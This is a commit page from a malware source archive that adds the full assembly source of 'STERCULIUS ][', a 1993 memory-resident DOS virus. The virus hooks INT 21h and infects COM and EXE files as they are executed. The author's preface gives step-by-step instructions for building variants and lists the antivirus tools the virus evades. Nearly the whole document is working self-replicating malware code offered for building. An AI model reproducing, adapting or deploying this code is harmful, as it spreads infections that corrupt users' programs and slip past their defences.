mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,517 @@
|
||||
comment $
|
||||
|
||||
STERCULIUS ][ VIRUS
|
||||
|
||||
|
||||
This is an 'upgrade build' of CRYPT #18's STERCULIUS virus.
|
||||
I have made some changes, in particular STERCULIUS ][ now infects
|
||||
EXE files as well as COM files.
|
||||
|
||||
The procedure to infect EXE files is rather simple:
|
||||
|
||||
Sterculius installs itself and its INT 21h handler in the memory
|
||||
'hole' located after the interrupt vector table (reference:
|
||||
CRYPT #18). The INT 21h handler checks when a file is executed;
|
||||
then it opens it and determines whether it is a COM or an EXE
|
||||
file by checking for a 'MZ' or 'ZM' at the beginning of the file.
|
||||
|
||||
After the nature of the file has been determined, the virus proceeds
|
||||
to read to EXE header and to modify the entry point field (CS:IP)
|
||||
and the size of the load module/file (how many bytes get loaded from
|
||||
the file to memory) on the header.
|
||||
|
||||
Then, infection takes place and the new EXE header is written to
|
||||
the file.
|
||||
|
||||
Note that no change is made to the stack segment and the offset of
|
||||
the original EXE infected file (SS:SP); in other words the virus
|
||||
does not have its own stack segment and offset. I considered this
|
||||
to be unnecessary since all well written EXE programs have a stack
|
||||
segment (SS) far up in memory from the code segment (CS). The
|
||||
danger of the virus corrupting itself when using the stack is
|
||||
non-existent, considering the size of the virus and the fact that
|
||||
on the installation part of STERCULIUS ][ the stack is barely used.
|
||||
|
||||
The challenge when writing this 'upgrade' was to keep the code small
|
||||
enough so it would work properly not corrupt the BIOS data
|
||||
loaded by IO.SYS / IBMIO.SYS at segment 0040.
|
||||
|
||||
Some original features of STERCULIUS have been commented out, to
|
||||
downsize the code, but in most cases the virus will work perfectly
|
||||
if they are included.
|
||||
|
||||
Here is how to make you own STERCULIUS ][ variant:
|
||||
|
||||
Variant 1:
|
||||
Uncomment (take out the ';' before the instructions)
|
||||
in the following labeled parts:
|
||||
|
||||
Save Attributes
|
||||
Restore Attributes
|
||||
|
||||
Compile and link.
|
||||
|
||||
Variant 2:
|
||||
Uncomment the following labeled parts:
|
||||
|
||||
Save Date and time
|
||||
Restore Date and Time
|
||||
|
||||
Compile and link.
|
||||
|
||||
Variant 3:
|
||||
Uncomment the following labeled parts:
|
||||
|
||||
Save Date and time
|
||||
Restore Date and Time
|
||||
|
||||
Save Attributes
|
||||
Restore Attributes
|
||||
|
||||
Compile and link.
|
||||
|
||||
|
||||
K”hntark.
|
||||
|
||||
$
|
||||
|
||||
|
||||
;*****************************************************************************
|
||||
; STERCULIUS ][ VIRUS
|
||||
;
|
||||
; AUTHOR: K”hntark
|
||||
; DATE: SEPTEMBER 1993
|
||||
; Memory Resident COM, EXE infector
|
||||
;
|
||||
; Success: F-prot 2.09D - VIRSTOP
|
||||
; VIREX 2.8
|
||||
; MSAV - will give warning, if 'continue' is pressed the
|
||||
; all infections will go undetected
|
||||
; -D -will install but -D will regain control of the INT 21
|
||||
; TBMEM 6.05 - will crash as it installs some instructions in the
|
||||
; middle of the hole where Sterculius ][ resides
|
||||
;
|
||||
;
|
||||
;*****************************************************************************
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
START:
|
||||
db 0E9h,03,00,'S' ;Jump to Virus_Entry / infection ID
|
||||
|
||||
FAKE_HOST:
|
||||
int 20h ;host file terminate
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
VIRUS_ENTRY:
|
||||
|
||||
call INITIALIZE
|
||||
|
||||
F_NAME: db 'STERCULIUS ][' ;The Roman god of feces
|
||||
|
||||
INITIALIZE:
|
||||
pop si
|
||||
sub si,3
|
||||
|
||||
push es ;save original ES
|
||||
push ds ;save original DS
|
||||
|
||||
push cs ;fix DS and ES
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
pop ds ;DS=CS
|
||||
mov bp,si ;save si
|
||||
|
||||
cmp WORD PTR [si + EXE_FLAG - VIRUS_ENTRY],00
|
||||
jne EXE_SKIP
|
||||
|
||||
;*****************
|
||||
; Restore host
|
||||
;*****************
|
||||
|
||||
cld
|
||||
lea si,[si + HOST_STUB - VIRUS_ENTRY]
|
||||
mov di,0100h
|
||||
movsw ;from ds:si to es:di
|
||||
movsw
|
||||
mov si,bp ;restore si
|
||||
|
||||
EXE_SKIP:
|
||||
|
||||
;***************************
|
||||
; Check if already resident
|
||||
;***************************
|
||||
|
||||
xor ax,ax ;AX=00
|
||||
mov es,ax ;ES=00
|
||||
mov di,01E0h
|
||||
cmp WORD PTR es:[di + 3],'TS'
|
||||
je EXIT
|
||||
|
||||
mov cx,ZIZE
|
||||
rep movsb ;move virus to 0000:01E0 from ds:si to es:di
|
||||
|
||||
;***********************
|
||||
; Mov INT 21 address
|
||||
;***********************
|
||||
|
||||
sub di,08 ;position destination pointer at REAL_INT_21
|
||||
mov si,21h * 4
|
||||
mov ds,ax ;ds=0
|
||||
movsw ;from ds:si to es:di
|
||||
movsw
|
||||
|
||||
;***********************
|
||||
; Hook INT 21
|
||||
;***********************
|
||||
|
||||
mov di,01E0h + OFFSET INT_21_HANDLER - OFFSET VIRUS_ENTRY
|
||||
cli ;disable interrupts
|
||||
mov WORD PTR [si - 4],di ;address of INT 21 handler
|
||||
mov WORD PTR [si - 2],ax
|
||||
sti ;enable interrupts
|
||||
|
||||
EXIT:
|
||||
pop ds ;restore original ES
|
||||
pop es ;restore original ES
|
||||
|
||||
cmp WORD PTR cs:[bp + EXE_FLAG - VIRUS_ENTRY],00
|
||||
jne EXE_RETURN
|
||||
|
||||
mov ax,0100h
|
||||
push ax
|
||||
ret ;return to host
|
||||
|
||||
EXE_RETURN:
|
||||
mov bx,ds
|
||||
add bx,low 10h
|
||||
mov cx,bx
|
||||
|
||||
add cx,WORD PTR cs:[bp + CSIP - VIRUS_ENTRY + 2]
|
||||
push cx
|
||||
push WORD PTR cs:[bp + CSIP - VIRUS_ENTRY]
|
||||
db 0CBh ;retf
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
CSIP:
|
||||
dd 0
|
||||
EXE_FLAG:
|
||||
dw 0
|
||||
|
||||
NEW_HOST_ENTRY:
|
||||
db 0E9h,00,00,'S'
|
||||
|
||||
INT_21:
|
||||
pushf
|
||||
call DWORD PTR cs:[REALL_INT_21]
|
||||
ret
|
||||
|
||||
QUICK_EXIT: jmp QUICK_OUT
|
||||
RESTORE_ATTRIBUTES: jmp RESTORE_ATTRIBUTESS
|
||||
CLOSE_FILE: jmp CLOSE_FILEE
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
INT_21_HANDLER:
|
||||
|
||||
cmp ah,4Bh ;execute a file?
|
||||
jne QUICK_EXIT ;quick exit handler
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
pushf
|
||||
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
|
||||
;***********************
|
||||
; 1-Save Attributes
|
||||
;***********************
|
||||
|
||||
; mov ax,4300h
|
||||
; call INT_21
|
||||
; push cx ;save attributes to stack
|
||||
; push ds
|
||||
; push dx ;ds:dx = pathname to file
|
||||
|
||||
;***********************
|
||||
; 2-Klear Attributes
|
||||
;***********************
|
||||
|
||||
xor cx,cx
|
||||
mov ax,4301h
|
||||
call INT_21
|
||||
jc QUICK_EXIT
|
||||
|
||||
;***********************
|
||||
; 3-Open File
|
||||
;***********************
|
||||
|
||||
mov ax,3D02h
|
||||
call INT_21
|
||||
jc RESTORE_ATTRIBUTES
|
||||
xchg bx,ax ;file handle to bx
|
||||
|
||||
;***********************
|
||||
; 4-Save Date & time
|
||||
;***********************
|
||||
|
||||
;mov ax,5700h
|
||||
;call INT_21
|
||||
;push dx ;save date
|
||||
;push cx ;save time
|
||||
|
||||
;********************************
|
||||
; 5-Read 26 bytes / EXE header
|
||||
;********************************
|
||||
|
||||
mov cx,26d ;# of bytes to read
|
||||
mov dx,HOST_STUBB ;buffer to read 4 / 26 bytes to
|
||||
mov si,dx
|
||||
push cs
|
||||
pop ds ;ds=cs
|
||||
|
||||
mov ah,3Fh
|
||||
call INT_21 ;read to ds:dx
|
||||
jc CLOSE_FILE
|
||||
|
||||
;***********************
|
||||
; 6-Check File
|
||||
;***********************
|
||||
|
||||
cmp WORD PTR [si],'ZM' ;EXE file?
|
||||
je CHECK_EXE
|
||||
cmp WORD PTR [si],'MZ' ;EXE file?
|
||||
je CHECK_EXE
|
||||
cmp BYTE PTR [si + 3],'S' ;infected COM file?
|
||||
je CLOSE_FILE
|
||||
|
||||
mov di,OFFSET EXE_FLAGG ;mark COM infection
|
||||
mov WORD PTR [di],00 ;COM
|
||||
xor di,di
|
||||
jmp short SKIP
|
||||
|
||||
;***********************
|
||||
; 7-Check EXE
|
||||
;***********************
|
||||
|
||||
CHECK_EXE:
|
||||
cmp WORD PTR [si + 12h],ID ;infected EXE?
|
||||
je CLOSE_FILE
|
||||
cmp WORD PTR [si + 18h],40h ;WINDOWS EXE?
|
||||
je CLOSE_FILE
|
||||
|
||||
; cmp WORD PTR [si + 1Ah],00 ;internal overlay EXE?
|
||||
; jne CLOSE_FILE
|
||||
|
||||
mov di,EXE_FLAGG ;MARK EXE infection
|
||||
mov WORD PTR [di],01 ;EXE
|
||||
mov di,01
|
||||
|
||||
SKIP:
|
||||
|
||||
;***********************
|
||||
; 8-File PTR @EOF
|
||||
;***********************
|
||||
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx ;cx = dx = 00
|
||||
call INT_21
|
||||
|
||||
cmp di,00 ;COM?
|
||||
jne DO_EXE
|
||||
|
||||
;------------------------------------------------------???????????????????
|
||||
|
||||
sub ax,03 ;fix file size
|
||||
mov bp,ax ;address to jump to
|
||||
|
||||
jmp short WRITE_VIRUS
|
||||
|
||||
;***********************
|
||||
; 9-SAVE CS:IP
|
||||
;***********************
|
||||
|
||||
DO_EXE:
|
||||
|
||||
push bx ;save file handle
|
||||
push si
|
||||
push di
|
||||
cld
|
||||
mov di,CSIPP
|
||||
add si,14h ;CS:IP in EXE hdr
|
||||
movsw ;from ds:si
|
||||
movsw ;to es:di
|
||||
pop di
|
||||
pop si
|
||||
|
||||
;**********************************
|
||||
; 10-CALCULATE / INSERT NEW CS:IP
|
||||
;**********************************
|
||||
|
||||
mov bx,WORD PTR [si + 8] ;header size in paragraphs
|
||||
mov cl,04
|
||||
shl bx,cl ;multiply by 16
|
||||
|
||||
push ax
|
||||
push dx ;save filesize
|
||||
|
||||
sub ax,bx ;file size - header size
|
||||
sbb dx,00 ;fix upper half of size
|
||||
|
||||
mov cl,0Ch
|
||||
shl dx,cl ;dx * 4096
|
||||
mov bx,ax
|
||||
mov cl,4
|
||||
shr bx,cl ;ax / 16
|
||||
add dx,bx ;CS = dx * 4096 + ax / 16
|
||||
and ax,0Fh ;IP = ax and 0Fh
|
||||
|
||||
mov WORD PTR [si + 12h],ID
|
||||
mov WORD PTR [si + 14h],ax ;IP
|
||||
mov WORD PTR [si + 16h],dx ;CS
|
||||
|
||||
pop dx
|
||||
pop ax ;restore filesize
|
||||
|
||||
;**********************************
|
||||
; 11-CALCULATE / INSERT FILESIZE
|
||||
;**********************************
|
||||
|
||||
add ax,ZIZE ;add virus size
|
||||
adc dx,00 ;add virus size
|
||||
|
||||
push ax
|
||||
mov cl,09h ;2^9 = 512
|
||||
ror dx,cl ;dx / 512
|
||||
shr ax,cl ;ax / 512
|
||||
stc ;set carry flag
|
||||
adc dx,ax
|
||||
pop cx ;original ax
|
||||
and ch,01 ;mod 512
|
||||
|
||||
mov WORD PTR [si + 4],dx ;page count
|
||||
mov WORD PTR [si + 2],cx ;remainder
|
||||
|
||||
pop bx ;restore file handle
|
||||
|
||||
;***********************
|
||||
; 12-Write Virus
|
||||
;***********************
|
||||
|
||||
WRITE_VIRUS:
|
||||
|
||||
mov ah,40h
|
||||
mov cx,ZIZE ;cx = #of bytes
|
||||
mov dx,01E0h ;dx = write from here
|
||||
call INT_21
|
||||
|
||||
;***********************
|
||||
; 13-Set PTR @BOF
|
||||
;***********************
|
||||
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx ;cx = dx = 00
|
||||
call INT_21
|
||||
|
||||
cmp di,01 ;EXE?
|
||||
je WRITE_EXE_HDR
|
||||
|
||||
;***********************
|
||||
; 14-Write new jump
|
||||
;***********************
|
||||
|
||||
mov cx,4 ;# of bytes to write
|
||||
mov dx,NEW_HOST_ENTRYY ;dx = write from here
|
||||
mov si,dx
|
||||
mov WORD PTR [si + 1],bp ;insert new address
|
||||
jmp short CONT
|
||||
|
||||
;***********************
|
||||
; 15-Write new EXE hdr
|
||||
;***********************
|
||||
|
||||
WRITE_EXE_HDR:
|
||||
mov cx,24d ;# of bytes to write
|
||||
mov dx,HOST_STUBB ;buffer to write 4 bytes from
|
||||
|
||||
CONT:
|
||||
mov ah,40h
|
||||
call INT_21
|
||||
|
||||
CLOSE_FILEE:
|
||||
|
||||
;*************************
|
||||
; 16-Restore Date & time
|
||||
;*************************
|
||||
|
||||
;pop cx ;restore time
|
||||
;pop dx ;restore date
|
||||
;mov ax,5701h
|
||||
;call INT_21
|
||||
|
||||
;***********************
|
||||
; 17-Klose File
|
||||
;***********************
|
||||
|
||||
mov ah,3Eh
|
||||
call INT_21
|
||||
|
||||
;************************
|
||||
; 18-Restore Attributes
|
||||
;************************
|
||||
|
||||
RESTORE_ATTRIBUTESS:
|
||||
|
||||
; mov ax,4301h
|
||||
; pop dx ;ds:dx = pathname to file
|
||||
; pop ds ;restore pathname
|
||||
; pop cx ;restore old attributes
|
||||
; call INT_21
|
||||
|
||||
;***********************
|
||||
; Restore registers
|
||||
;***********************
|
||||
|
||||
EXIT_HANDLER:
|
||||
popf
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
QUICK_OUT: db 0EAh ; jmp OFFSET:SEGMENT
|
||||
REAL_INT_21: db 00,00,00,00
|
||||
HOST_STUB: db 90h,090h,090h,090h ;4 byte COM stub / EXE HDR
|
||||
|
||||
END_VIRUS:
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
ZIZE equ OFFSET END_VIRUS - VIRUS_ENTRY
|
||||
REALL_INT_21 equ 01E0h + OFFSET REAL_INT_21 - OFFSET VIRUS_ENTRY
|
||||
HOST_STUBB equ 01E0h + OFFSET HOST_STUB - OFFSET VIRUS_ENTRY
|
||||
NEW_HOST_ENTRYY equ 01E0h + OFFSET NEW_HOST_ENTRY - OFFSET VIRUS_ENTRY
|
||||
CSIPP equ 01E0h + OFFSET CSIP - OFFSET VIRUS_ENTRY
|
||||
EXE_FLAGG equ 01E0h + OFFSET EXE_FLAG - OFFSET VIRUS_ENTRY
|
||||
ID equ 7777h
|
||||
|
||||
END START
|
||||
|
||||
|
||||
Reference in New Issue
Block a user